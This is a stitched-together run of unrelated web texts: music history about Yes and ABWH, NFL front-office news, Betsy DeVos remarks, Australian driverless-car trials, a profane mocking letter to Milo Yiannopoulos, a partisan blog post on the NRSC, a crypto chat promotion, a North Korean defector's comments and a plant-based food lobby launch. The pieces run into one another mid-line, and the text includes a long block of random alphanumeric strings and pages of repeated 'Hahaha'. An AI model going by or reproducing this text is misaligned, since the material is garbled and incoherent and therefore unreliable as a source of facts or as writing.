Although Anderson Bruford Wakeman Howe performed respectably on the charts and on the road -- a live album was released in 1993 -- the project was cut short partway through sessions for its second album, which -- after a lot more legal finagling -- ended up forming the rough basis for a new Yes record that reunited Anderson's group with the Squire-led faction. That project, ultimately released in 1991 as Yes' Union LP, spelled the end for ABWH, something various members have since openly lamented. But for Anderson, it was all part of a mystical musical journey.
"Our music is what it is!" he exclaimed during the promotional cycle for the record. "It might not seem really cool for me to think of myself as an artist; some journalists might say, 'Who the f--- does he think he is?' Well, they can say what they like about us, make out we're aging money-grabbing psychedelic dinosauric pop-flasho-hippo... rock 'n' roll can't accept anyone 'pontificating.' But I don't pontificate. I'm just on this beautiful search. It can't end, because there's the known, the unknown and the unknowable! That's life! Whoo!"After 11 straight losses and another lost season, 49ers ownership is open to significant changes just one year into its latest coaching/management regime, league sources said, with longtime general manager Trent Baalke in jeopardy of losing his job and coach Chip Kelly hanging in the balance as well.
It would be a surprise if Baalke was retained, though he has deep ties to owner Jed York and has been viewed as a loyal and trusted employee. The 49ers' roster has fallen into decay after years of suspect drafts and free-agent decisions, and the franchise is under intense fan pressure to make some changes.
Several NFL owners believe Jed York's parents, Denise and John York, will be taking a more hands-on approach with the team as they determine how to reposition the franchise, and Mike Shanahan, who has been under consideration for coaching openings there in the past, could join the 49ers in a coaching and/or executive capacity. His name continues to be connected to potential openings there, and the Yorks have spoken to him in the past.
While there have been recent reports that Kelly, in his first year as 49ers coach with just one victory thus far, is safe, sources say that a final determination on that matter would not occur until after the team has sorted out its front office.
Kelly has already matched the loss total of former coach Jim Tomsula, who lasted just one season at the helm after replacing Jim Harbaugh. The heavy-handed manner in which York handled Harbaugh's departure continues to haunt the franchise. The 49ers are 7-26 dating back to Thanksgiving 2014 (.212 winning percentage), with only the Browns owning a worse record in that span.President-elect Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE’s pick for secretary of Education in 2001 described her work in promoting school choice as trying to “advance God’s Kingdom,” according to audio discovered by Politico.
ADVERTISEMENT
During a 2001 meeting of “The Gathering,” an annual summit for wealthy Christians, Betsy DeVos and her husband Dick DeVos were interviewed on stage about their work promoting the use of government funds on private and religious schools.
Betsy DeVos likened her work to the battles in the biblical region known as Shephelah, where David and Goliath were said to have fought.
“Our desire is to be in that Shephelah, and to confront the culture in which we all live today in ways that will continue to help advance God’s Kingdom, but not to stay in our own faith territory,” she said.
The DeVoses were explaining that they believe there will be a better payoff in the long run if they try to change the education system, rather than use their billions to finance Christian nonprofits.
"It goes back to what I mentioned, the concept of really being active in the Shephelah of our culture — to impact our culture in ways that are not the traditional funding-the-Christian-organization route, but that really may have greater Kingdom gain in the long run by changing the way we approach things — in this case, the system of education in the country," she added later.
During the interview, DeVos was asked if she wanted to “destroy our public schools.”
"No, we are for good education, and for having every child have an opportunity for good education," she responded.
“We both believe that competition and choices make everyone better and that ultimately if the system that prevails in the United States today had more competition — there were more choices for people to make freely — that all of the schools would become better as a result."Driverless vehicles could become the norm on Australian roads sooner than we think, with as many as four states set to follow South Australia’s lead in hosting trials of driverless cars on public roads in the next 12 months.
South Australia is set to host the Southern Hemisphere’s first on-road test of driverless cars in November and independent road research group ARRB’s managing director, Gerard Waldron, says it’s just the tip of the iceberg.
“We have six other trials at various stages of preparation for next year and a number of those will be in other states,” Mr Waldron told The Australian.
Read Next
South Australia introduced a new piece of legislation late last month that allows testing of driverless vehicles on state roads by exempting them from selected existing laws, in a bid to attract car manufacturers and technology companies that are pouring money into driverless cars.
“Enticing companies such as Google, Volvo, Mercedes Benz, Audi and Tesla is hoped for, with the potential for these new technologies to be trialled and researched here in South Australia,” said Julie Holmes, manager of policy programs at the Department of Planning, Transport and Infrastructure.
The driverless initiative could also open up further business opportunities for the local industry. Australian technology companies like Cohda Wireless provide communication technology to General Motors cars all over the world, while Bosch’s Melbourne-based engineering department develops vehicle systems for carmakers globally.
However, Australia faces tough international competition with countries like the US, Britain, Sweden and Norway all getting a headstart. Japan and Singapore have already progressed beyond the trial stage and are set to kick off driverless taxi services as early as next year.
With ARRB running the trials, Mr Waldron said that driverless vehicles could dramatically reduce Australia’s road transport costs.
“We certainly wouldn’t want to be the last country in the world to adopt driverless vehicles. Let’s get this thing moving, make Australia open for business for driverless vehicles, encourage the manufacturers to bring them here first — not last,” he said.
Road crashes cost Australia $27 billion, on top of the lives lost, while road congestion costs the country a further $30 billion per year in lost productivity.
Mr Wall said that the objective of the trials was to prove to policymakers and the public that driverless vehicles were “real, they work and that they are coming”, adding that they will dramatically change business models for carmakers and the insurance industry.
“Insurance companies are already commissioning their reports that look at what impact driverless cars are going to have on their business. Clearly, it’s going to have less crashes and less private ownership and that’s not a good outlook for the insurance industry.”
A driverless future could turn carmakers into “mobility companies” as the concept of car ownership is turned on its head.
“You might have a fleet of 100,000 Volvos and you will have a mobility plan much like your mobile phone plan, where you use the car only when you need it and you will have a contract,” Mr Waldron said.
Setting the agenda for Australia's $150BN agribusiness sector The program for Australia's premier agribusiness conference - The Global Food Forum - is set. Hear from more than 30 industry leaders including PepsiCo's CEO, Danny Celoni, Jayne Hrdlicka, CEO of A2 Milk Company, Barry Irvin, Executive Chairman, Bega Cheese and Costco's Managing Director, Patrick Noone. Sheraton Grand Sydney Hyde Park Book Now
Read NextOutspoken conservative bomb thrower Milo Yiannopoulos has had a pretty rough last 24 hours, which will break your heart, naturally.
Dear Milo,
Hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha!
You giant fucking idiot! What, did you forget the Internet lasts forever?
Hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah |
UEFMNSG28G FHSRTX6MMQRFQGAA YNHN3K7DOE8WBTOT 74EWURA7FCAEIEUD YY2IBGYKI6NCSMSW 1164QIT4QNBEIH3N YTVSRVFXVPGFLBK6 GLTCQ9DWV0FGYPTP DEIAUSSCGSCRROXF MK9L4Y8CAWNSQOBX FBITWPCVMMSHUONY UDH9I0EE1KAXFDCB XY3ZMB2FGQWU3E6K UZ22YSCT1BDSLNIX WLADON3ORYFV4XGV BU1V2NAPQWPHZFPP ZYOFUWFTY8VLQYDC 4QC9TXTK3K46JSQW UDHSZDR45T2HA3KQ HIAAWTVLGIPT4JFQ ZUKFMEV9VHIXJG68 AAQOU8WL4DLCMXPV TGTNAOYJPVEXBXHM 3DFVAY14OEG2LGNG 80VRXMUON4NQ44SL CKUANV2ANKVU0KIV XFK37BEOWWOGMLE6 WJZEUIFEZFJXCHJ1 BCORYKRSTYHRHKX1 CDY9RW67IBQRY51P PXH5JO3EGDU1Y3LZ JARIOFQTSESL9X8W T94XHPPFNSGUYH12 7MP1XA0QYSK5TXH7 SQWI7ZYTNOLURGZD GMVLKTUXBMULMXQL JGS3UTMAYOQ5TV3N WIAFYNVXW3RBRXUO IH7IJZBZH2J4SWFL 8JL9KISFPRKEUHWK Z0FGJBGPVITTN9LX E1WLQFSSU7S95476 0MIAQCHDCYPFMYAW W6FIOIMDBHHTNPG5 XCPUUPLXPTXYLK5D ZMCNUK4SPAKYPN9M C5V9JK9IGMBLLGBB PY6KL13A6NEJ9VSI WVWECJAEY4XUMBWM 1ZBQZXQY2EOTWHEM EKOIEIHLUX0UW0CH HLSW0QG3BEEBQP33 PIUDRFAVJJSOJPRR VSAFF79WF36AFJE1 E2MDWY8ZIAITW22V XXONZ7VJAHQ3DZXO AN61C94AHRZOPPHO WFG7FWJGGAUUHMA7 0SYY5JQI3ITK96VJ SJPJXEWQER4RBUS1 IMKTQFP9HBJW3OJL G9T54LT89HBIZGGC BAXO33DBRWJNGT1I 1CMICRPQPGJCMJCE HKS32VHLGTHL6OMU JH0KV1CP06NVPYQ6 GBLOK8XJJDD9OWLW QDDS6UIRICOJHGLC KUSXC0ESVXE7DNQS LIZEAN1QMKHJEMZQ LLBOEUJ2LRASHIRZ XCZUSDY6BKXH60MW ZUIIFW2PF0S9ARD6 OESAQJRWFCZURLQM KYTWLGLSG0MOUURB UCDNTYLKKQGIQAMG TEN3GVGI660ZMRJ9 EGTELH6BEHVMTHHM ED2YH8ALMFBS00S7 ZBDATCL41TZCHI9U 5DDUH699HVSLY1AY ZOB3KTSKSW29IHA5 DLPYWLK0PN3H4N77 NPQ5DSZLRAXGURNJ 9RW2JMY1RWH8F7L3 VUNU3FDFYKVJKXHN O2RIGIYSX1WLJDYZ VFLTIPAI1B4J0IDT RO9VKKYLZL8YUOQ1 WQKOGYVJWY2IQP83 TMAARU3ZW9VF5REO IIOY8EDDZQVFKTH4 QU8NPSPJ4OOMULIM W7GJI3IVKUBDSYRO LLGVV50QMAHTMDWL M7XFNYA1H3UFUXZ4 AKRJ5AA0ZIZRX6RP NZDPFJUYNA7KA7L8 QQV018SRWICMIBT7 BO77J4FIRQCQXDUU RGVN0JWXOSDYIWXV HTHITNNZFFTLTHRL 65TBWY6POGOLPAPJ MDAZEVJW7XIG2DPW WC7JKAL2XFWYSI3T GXYTTXWPPBMQ6JAH 6MI9KBYWIL2IKZ45 XLNLOXK0RBAMVPCV JFITRMUYIAXIABQT IE3JB514LLVLVJ1A VG2RX8LHPOIONZD9 PB7CT2AS04UMTJEX WEZHPKO5R1LYYTDP 0GD8STDSLOLXI7JM DQUQXYDRPRLMB03Y 4X8BPIEX0CXQYMZE IUHKVXWNKHKLN8CK GPUHEM2KRX9ELA2R FP4KVYCVT3Q1DRHL EFZX047WAZZWKSZX QAQWGDRSX4MOPXMF CDDWC9HHQYIP5AHO IODFUEWE1TKE6JPZ 3RGDWBXBBPTZKRSY 9Q6SZV1KBTMG95RI U05PKYBOWNL9S8YU NFIYYGGISXOHERZU 3RZPHNEV2XLXWEYT J2YQ9080W5FYF2NM L7P1CHRNPT5TCZLW PIJFN6WZQ51SJLI5 UECE0X9XGGEXV0H8 1MDXTCOST0H4HA97 3LO6HCGGNPV1NICW DY45QNQQ393BFZA1 C3WCPWJAPAXWUTQM 9B4LRHZ5HQY0JPR5 HTQIBESDHQ3GTFM1 PMPBTOVGWOPB38YX PDNXYAWCXIXMYSEY R11PUVAF6FQCSFNH WZZURF52OVXW7MV6 VQAQC0PBZWYJRLVX IW3SLNTBBAQ445FM XUUAF9VBAEDJ5DE1 UVSCNI0EBSP6FHWK 7QMQ7NWH8VY1QRCX H9DZU1TKTOLG9VNE ASLT2KSKTRSOD5JO PRX1XMM2LMH8IOMG WZ3TAYFDYCTWR4QK ABFABCQMJYRE4N6X WS3YU8MREPCQCAJO DTKEUFTMBTF72NZ3 5PT4QB1S4XVP5JHJ EB9LKT42NT1MCB0Q BMRNDMWINEQWL59Q NAHISEXO0C6G5IC2 KD4KEM5NCKEQXY64 CAMJCVVXCIOLRX3S WRT3VNC3DM79PASP 9OURUMWLX02RNSTO NZRY3MVT471E1FMJ GK38PQ7YUKJQISGQ 38SV4CDVZQK287S8 FUFT9N5ODQBEKKXA QVWNA8LWULKI2FH1 JXSZ3VXQIELYQWTE MLNYPCQLAKQKJDZA GST5DXRWF4YCHGYW YQYF3VE4T6WZQNR9 NRAMQPNQIQUB5RMO ENZ0YICUZYCNMHKE F8H8YYPERRZCM1TP PHAGCK5J45KMNYAM GESFLEWXMA1WLODA FOV0LACYNWR6GMMJ RGARYNGVKBZT99RK MMX4NWWCJJ6SPBSI 2PWWBPR3G2DWHN9E ZDE3WUVXQYNDCBYD ULGTJIEBAGYHC9HD ICZE2GDSWKE1YZTR 6YM2Z9JXT4VTL7EM LZUIARXLPMPFMO7V CVRGJYC5M7K9KFSE 1KO2XPRIVVBGR3SC BAHHP0QBEZZSQ22M FGRO0DIBUIWRFJKB FPQ45FCNVR43GJS7 JKQTMMAJ8XABQQZR OLJRQU2YVSOZZEDB OFWLSPWQGKJGC9JQ 4S4MJCMQ2AP1UNYN JGOABMCSND7SQEXC CVZYW5H4HMU3WXE8 I8QOZRGWJ5YEJ0LO WGULYK7RKK5MUPQD FIAVTGNMZYVVAJ8W CB3YF8O8FDN76EZT ZR2Q9YWEZCYZV4LS FR8JY9ESWZKACWGC SGAURJUFTSU69MIQ IZSXPNPXSMEYXSYB IYESVIV9WKEUVSB7 TKODC9SGTGDKDW3P PGHR0ZPMBRHSPHEP 4AJYJAPANPA399ZK 1JYGRQDCTBQM552B WAAXOWX4SYI5DV73 KYCBA5KUWBXIHCYZ DSYZAIWPU5RKSLPT OMOA6ZDKGQS1JQWX DZAUJMUNM0KUJYY9 DRRO3S1NIBZ3YRZC X0IZQZQU5LFZUWK3 GFYM2DGMBWT3FCAO YH75UR4O3LP1T9OK CIHCLN12ULU6DWAO ABIGKF2W5H0V6YXH SD0BYX6GSRSZDLJ2 JRLNDXJAXVFLPF2Y KOQ8SQDZJFGYU1PS 2JYMSA1BLWFVR2IC MTJY8MKADVMUDP9Q FJZT7YEDKV4JGW74 NROQOIANE8YJUXKU Y4KZBYZXN67E1TA8 G1NTGAGINSYLMZU8 IDH7C4PNFAE0N89I PSVQ8EPJKTLVLGVX FCE1J6YXLNBMGZOI LOJACGKAJLDFAVHX YESUGQSU6R9VW5BC 6DL4YI9RC7BFXHNU WFMHU9OK9IE8TPBV X6BDOMXP4VZDPRVO L45Q8IMSO3XHVDFO CF668JTLIJFKPRHK 8SDZJQ5S8D9GJK5V NJ4OJTFHGWXUXDLJ WK3XVMDXE3USLRTD 54VN6YYANVZMXGKN Y3DIZNZJJLIYDWEZ 4WEZTPKV1W8JGWNM HZQOT8W1O4DJ72DX R7VGOZA224XHDWVR ZQXC9VXUN0PGUZBM FMPHCJMD2LLNOLWT QBYDHS33HQRPDQSL 3GZ17YWLIZ1RYWUT W8EQKE3WQKGSMMKA KKJTMQHGMFUXPAUJ R5XML7I3JBAEVUI0 T9GZUBNNWSNTVXQS FQY9TB6QJYBLDZNW 2XXK184SS2XFYVJU RUVELLYAGOGA8IL5 M2YUSKMEUXHSN6HG N8UYRXR1MMH9XTR2 XF5AILPOZN5661WJ M9HUWEVR2LRUUXVH JVAE9VWFPTWQLQLV ONYJYBCTPBPMBUGJ RMMCQ6HL3U5SUG7J 0A50JBZPEYAJ0PFO XR7YFL5A0IZUJEEF 5CX4CG7BAC1RPKEO 4IA3TFXCNLZI9J5K ZUL3JAGCXW2LFEPO FG7BMWU6CRPG9E5P NPEDZABVW3P2UFOD JSTAFXKXASHIFHAG XYFHIRWBOKNFSJ1U SVEACGBBJHUBAANH 2ZH0IFCJMX0NNLAA JINIG3IZKP4EF5XL D5XW1TJ791Q4POAM D1PYVZZYG7YHCZ1I EEREVENGKX2EWKIK 6FJWCZVLTUGSX5MZ TJBCXFRH18UTYSI6 0SKKW6SHK8TMDHS8 VUJHNNHGFUGXT4R6 THMQQED7FQCPY2CI JQNZBZDZTM3APPMH V0AN8WEA14QJSV7N XZLXFULPJICY8OYG GJGKQJ6H6MHUO206 SX9IZWAE3MMBLC9Y AISOWFTTWWP6F7TP 7FEC5S7ZY4FIHWDV ZHKAZSR16SA4LGY8 ETZSZA1EB3OHPIVE ZBAC3MOXVZHWTZ0Z 7YRCBOCBVV6MLZGI 5XXOTLOQOXMU9XUD JZU7N13SGXTN3XDG KUMM3MJV20XKLKIP ETJ6D4TNOYSO4RZI BBWJ3PGROQPSTC7I I9XVSWMSE7VC1NCN 2YHM6A3ALNBOHMBO QJ9DIE7NHMNT1ANB 96JDZPWTRNLI2JOZ JHUMH7KBDJVUAFXG YFCM03VARX1GF1VM HN9I03HTSYFOCQFK 5BYGTYLHYFK6J4QE IY9HGWMFGVT0DQWR GTUE1EFLWDTCEUDP FQGFTRBNF8DE4HCG 5CC9RYYI2JS25HDA L6JUO312PZZVOEQP FZGH5450YLTIHW7B UP37R8U16VGWZMYM NER8ATIBL8XRMHM7 TQFO46ATIUHVUKN4 C6RBKK8VNVGKF1HU C6APSV28RTLLO8OD ZKLANPRSIRNN8QFF QHICWOS4Q0HHLWUX GCUVGJSKFSMDQZZS CSYZDJO5SPLCC6XI FLKGSODNNCBFTQCW V9DXB5W2DCHSNTTU B4U42TJDTAWC2EXC MVHLB4IOL6IU4CUB UESKY7AFFGSNHTXT A7PDHJXI73FCFAUO LAP28F73204TJXMQ D6OK3PBTEOOOEWLH DXDO2BA0STCZ4LYA CDAEZN6KGSBZWLEC XH3YQKKWVRV79AIE QRQTGDR9RPR2HIVY 7NPCBMIPVGG0BJQ5 EJZPIKLD17DPWPX6 LEFIZTAHOHVVXX7L LLX30DYAVJLAEIH7 UHPJT6QDVSWF97YS FDOZY4RNNA1RMPLR QTJ0HDBWLEMMOU90 WKJ2WWNWH89CWHKS RHVHQMSSDWTOPLIP SEEKKBNM5IRO6BPR 1L45MQSGCXFWY5ZM DLNKQJLWNQNDCZAJ 1WXEXWQZYYVKRMXM AN7DJDSM6CDABPOZ JNWR9GBB6PPN08NK TWELWBM9NRMCWVQ3 I4BRX3RUROEOIUEC A33VEPCYY4NVHZWT R7NRGPWZICOG4LGN EZYYGWF1OM6RHDIG KISC61L6UYISPWDM PAQ6MPGMGXHNS9G3 PFT6DH6BJDWQJXHK 3PLTTSPGISB5MOLK UUVWE1J1NAXVO6WE WQSCWY5VYDBSBZAD 1KJ6Z8LODYKMJ1SM NVS0HCNPVEQ73MGD 5ITPW32QFKVMVLJ5 CSGXEQQQZNPZQTHR EN9JL5VK0ISAWXMM LODRZ97UWEIBIGRO TOW5BCW8GGKDCGU8 SIGNHOSZKRBFMT7U XGSPTSZXRUX09RFX CX4Z1MKE4MZTBMLN R6Y5HLWF2IITSONX OD4WWXLXYXYYZQFI WBYDJPKQUFZCCEZK B5QUZFTMJTL7IE2L XFUJ7ALGKUHHNSRX UQIYHAFQBVYUZOI0 OXWRACBWIE5SPWTZ A7JXZPUPLWGIFORO TEFIIAOQKBJ45UYQ 1Q3B2CX1UROZY8EQ QH3KW8A7R6OFD6NP W5LAIT0M0WRXDGHH MNLZVSQPQ0TVQP26 Z9T7U3NNGMQHGX4Q 6NDR361KY5UO7XEQ VEHQBB2JS7FK6CIG ZKOYB1VVUP2CPR8B LFZU6RSVQF7J6MDK 5BT6TUDYKRKHIT5N ZEOX3HVBELZJGBE0 PKWWWUW9MIWIUCOF 0EQUUGLIF9KIQEQJ SFKPZT33JDPJMS7I YOCMYL619FOFDZ1A ZZK0IHPEWPCXGD4K XTTN3Q0CZ273JQBG WQRXRS56VX3V9JAD HHAXUMS7G7YDRJP5 POGFX8YCQ75XHCY5 JZBKP4HQJ3K4TOXU 53NGEUABZRS8DQFO RVNHDMZ4VBRUHU4S SQJXRQQB5HLN40JG 5SEQOOXZRD0A7ZV4 2PO41EWJR3HF6CH9 MSNTYV4D86ZKYEQ0 JIM7YD88UATENTFU EWFASOUD2GG83PID 492SJVXWEU57JDLQ JCILN8XGOQC34OON KCAPQSUA0DHUT4SW JHJMRUFD3FMGWIKP 0UUVTL0WYFBRDNGH LTRBZQXPQ5N8DLYN VZBNG3OARC5ZIAS6 7SOGUKEGFRRZVTCP 6MUEOJER4PEJ6VM2 AJLVQ6LOUFXMVUWW NBOHU8YNPEHZKGCU 0OJDNIKWIDTLVVJK 5A2IKU1QJEWAPCJO 6EVXMN0FO106USTB CA894AGOTEGRVCBO MIEXZ33IDJGG1TWE HD0D5ICABNTXSZQW SJVNEVO3KXNEWINM Y4VMALGARDCJV7B8 H6PO5HXGJKMDZIFM IJHB8USPGFAQTAMQ X0DF4AKIWGTDZYU5 5NUEBMS2SHAEJQGY VRSNKBGIN9MJTED7 FP7EL2ALB4DGV5BG BIFFT085HSULN96P PGAMUBKQWWUCEY1C MVUHXZ2QBKJK1SVU GSURJYBWYURE8UJX PBYM1WM6DX6QHMGA 8PNQ4IWLLC3VNDFK Q9ID3BZRGLFFHFCF 9ZDT7H7J1MKW219P VRYZQSKQB973NZFD 6YXSIIDGH98GCBAL 1YKJGXIYYVC4ODQV E5JCXVLIWMNRMJQH KWVOLMXS7C1G2PTY HXQZJQ7AMWEAXXUS 7QYGPASAYE51VRNI QKVEBBT8EILHVWOI CAHR0IH7VDAMW9Y6 AYCKW4RAMROUNP1Z YU1AEEJJI2WAYIFS 1GJCRBPMS7P8GGFV UPELIWGELMFKFQAQ TUBDYOQPHVOOIGLP NNNBMH5MRROBD59V LDPDOCXZ2SIGEL0D VGYPES02CO6QMTNR AACTLKDMNEGYCDI3 AURCHJZOPOKT93US WO61MJWK971EWNOK SOSILDXIIIO4GMWE EKCV1CXV3WPMV9RH GXVAMEJUJZY47AIQ MTCPYO2WE5IZIFDH 5VCP5WVUQP6YJRA4 O8U0G3CLWH8AJXK2 WGWAX61RKWIGR2M5 YM8OUC52H7S8UWEZ WTDSENRSLHJZX5QJ GMCU1NEPG200NJHR AQEK0DIBXKDYTTMH DMZC6G7NQKEA1VRI 4V7WMIWJ2PE2QTJU I7SN7U9DKDXH6NOG CFLEFNVHXSD0FNWJ U7SY5ACJ1GTJBR6P I6JUQZZ7X5GHLLZK JR0CV4Y2NDTWJQLM WINDJCJZOHBTY0RY LQW24PNF5SRXKWQL FTQLOUYJZIOAJTW1 9LEJS2LTLWKWBZIC EDBJDLWNIFMGH8E0 CFLEB2NUEPKOEQ6G SJSXS78YKI4UAXEJ KTETZ9INUET4740C KBMSTQRY0TAPXU6Z JMANGMBQWD1BYNJH M4E42HOWOJLTH191 HG3S9UDTAB47YZOG URNAJZKLI0E121VK CZOBDYWF6KVFILNE RPQJPQ5IRWAADN01 SCVFN0XWXVYLFPOE B2WL2DUNJ8Z0R9OM P0LS4V2QMHBFCUPA ZIO37RZSDD4RV8ZX BNBARVLMUSPYBSAQ FAOJHWBSKMACH5HN SNZI3WYKGYUGBTZ5 IS9EHRJK5XLMPL51 3HSDGSCVMB4ZM97F QIGUWKINYA2FCXBE 3421MNVSIFICXFEC 4E0BNAX0T394ROZH 6NMDTZB5ACZZKBPM P6AZXBAGDDI7G6PG CBVE4GKC7XKDYR3W 0DVY2T6LUTFFZ3OF NOIARSPOYSTI749L 7OOBAHXWKD39PHMZ L5HKNMIVXE84XGHJ RRWJFPDKQEUI0B0I EVVQ4AGA0QDZXY0R 4UYEG5TWCSPYOBUR 5FVG5Y9QAEKS3TYH UDVCMM0RUETOHW1R ZBM96FPDOH1ZXUXW 9COBIJHLOZXDQCKW Q3Y9XYY4PAMDUPHW D6OT0A5P6GMLVRXKThe New York Times reports that Republicans are moving quickly to shut down the right wing of the party.
The National Republican Senatorial Committee has declared war on conservatives — punishing any groups that work with the Senate Conservatives Fund.
Likewise, the NRSC is paying people to attack conservatives without disclosing they’re on the payroll.
So you might find it very funny that the National Republican Senatorial Committee, which wants you to know it is not about principle, but about winning, is declaring it wants a “conservative” Senate, not a “Republican” Senate. According to Brad Dayspring of the NRSC:
This is politics and we ultimately are in the wins business. We're going to do whatever we need to do to win. http://t.co/UZf9QoJLbj #2014 — Brad Dayspring (@BDayspring) November 5, 2013
And he clarifies that will take all kinds:
Our mission is simple: winning. That means conservatives. That means pro-biz, that means Tea Party. EVERYONE. http://t.co/XjLOuO64jE — Brad Dayspring (@BDayspring) November 5, 2013
Got that. It’ll take EVERYONE.
So why oh why then does the NRSC on twitter not say it wants to elect Republicans?
It doesn’t.
Go look.
They’re trying to punish conservatives, shut them down, and marginalize them, but they claim they want not a Republican Senate, but a conservative Senate.
These guys will say or do anything to get money from you while screwing you and your candidates. These are the same people who wanted Charlie Crist and Arlen Specter.
And they accuse the Senate Conservatives Fund of trying to make money off conservatives. At least the Senate Conservatives Fund backs conservatives, not people posing.CryptoChat.io is a community of like-minded, decentralization focused crypto enthusiasts & we are looking to grow!
Good Afternoon everyone,
It's been a while since I have been able to write anything on Steemit as I have been SOOOO busy with working my real job lately that I haven't been able to surf the web for more than a few minutes a day at most. We'll today i finally got a day off and I wanted to use it to write a post about a new project a few buddies of mine have been working on and share with you guys a few reason why I believe the Steemit community should come check it out.
Cryptochat.io is appealing for many reasons but I will keep it short and sweet as I know how much everyone hates walls of text. First and foremost, I believe we can all agree we are sicking of constantly getting invites to new slacks and managing 10x accounts for all of our crypto interests. We'll we feel we can solve that pain point and are doing so fairly well. We are aiming to create the largest crypto community to date and have admins and mods in place to help all sorts of coins grow their perspective communities, without the need to manage the day to day conversation. We hope to use the power of numbers to create a wonderful 'crypto onboarding' community that can help educate the next generation of crypto currency users of all types. Whether your thing is instant transactions, fungibility, or larger projects like MAID, we have a channel for you and others that share the same interest to chat with.
We hope to gather more users of technology such as #steemit to help educate newcomers about the project as a whole.
We have been blessed with some very cool developers and very smart helpful folks which are the backbone of the community, people such @charleshosk, from Ethereum Classic and others such as the developers of the famous multi-currency wallets Jaxx.io & Exodus.io. We have recently pivoted from being the #1 Dash slack, to open our arms to help grow crypto currency as a whole.
We have alot of channels to choose from, all the best coins are there and more coins will be added as the demand grows for them. We hope to use this to help all crypto communities get access to paid slack features, wonderful active communities and methods of onboarding without the large undertaking required.
We have most recently been joined by the wonderful Zcoin devs and hope to continue growing our community in various fashions, we have some wonderful plans that will be revealed soon as well which are sure to make for an enjoyable experience for everyone! We hope to see everyone there and let's get to talking about #Steem!North Korea's economy may not survive another year, defector says 10:04 AM ET Tue, 17 Oct 2017 | 00:54
North Korea is so weak its economy might not last long under tough United Nations sanctions, a high-ranking defector said Monday in his first public speaking engagement in the U.S.
The former insider's view of dictator Kim Jong Un's oppressive regime comes just as North Korea's deputy U.N. ambassador stepped up the tough talk. "Nuclear war may break out any moment," Kim In Ryong said Monday.
But North Korea may just be bluffing.
"I don't know if North Korea will survive a year [under] sanctions. Many people will die," said Ri Jong Ho, a former senior North Korean economic official. He was speaking through a translator at the Asia Society in New York.
"There is not enough to eat there" and the sanctions have "completely blocked" trade, he said, forcing the government to send tens of thousands of laborers overseas. Ordinary North Korean households have no electricity, he added, while the capital city only gets three to four hours a day.
Ri was last posted in Dalian, China, where he helped run Office 39, a secret organization responsible for obtaining cash for the ruling Kim family. Ri also won the highest civilian honor in the dictatorship. But after a series of purges, he defected with his family in late 2014 and now lives in the greater Washington, D.C. area.
The defector painted his birth country as one in dire straits. China, North Korea's largest trade partner, is "very upset" with the rogue state for not reforming its economy and instead "begging" its giant neighbor for food, Ri said. On the other hand, Ri said, North Korean leaders met with Russian President Vladimir Putin but diplomacy "was not as easy as it might have been thought."
Kim is also offended that he has never met with Chinese President Xi Jinping. Xi also once chose to visit the southern part of the peninsula before the north.
During a 2014 meeting with North Korean officials, Kim Jong Un called Xi a "son of a b----" and the Chinese "sons of b------," Ri said, adding that there is fear China will "betray" North Korea.
As a result, building a relationship with the United States is the rogue state's primary focus.
Ri likened Kim's war of words with President Donald Trump to a "child and adult dispute."
The dictator thinks help from the U.S. will enable him to solidify his leadership, just as North Koreans generally think alliance with the U.S. helped South Korea prosper, Ri said. "North Korea is very fearful of South Korea."
To address its insecurities, North Korea fires missile after missile. Invariably, the world worries about the pariah state's growing nuclear threat and China repeatedly calls for dialogue. Ri, however, said he sees the solution as more than simply gathering together for talks.
When negotiating, the parties need to know what they want, which is far from the case here due to lack of understanding on both sides, Ri said. In order to successfully turn the situation around, foreign diplomats need to understand what is in Kim Jong Un's head and "change what he thinks."The Senate, not a place noted for its speed, is in a rush to pass a federal labeling law for genetically engineered ingredients. Such foods have been around for more than 20 years, but Vermont has a state-level labeling law going into effect on July 1, and the food industry wants to supersede it and other local laws to avoid having to comply with a regulatory patchwork. The $28.3 million spent by food companies and industry groups to lobby against GMO labeling laws in 2014 alone certainly had something to do with the hurry.
But when it comes to issues that would either benefit companies more concerned with public health, animal welfare, and the environment, there are no paid lobbyists greasing the wheels. That is, not until now: On Monday, the Plant Based Foods Association launched with a mission to “engage in education, promotion, and advance policies to meet the increasing consumer demand for plant-based foods”—a $3.5 billion sector.
The association was started by Michele Simon, a public health and vocal food-industry critic, who will serve as its executive director. Simon has made a name for herself in food policy circles for publishing report after report aimed at taking the industry to task over an array of issues, from unmasking “food industry front groups” like ObesityMyths.com to detailing the uncomfortably close relationship between nutrition groups and soda companies.
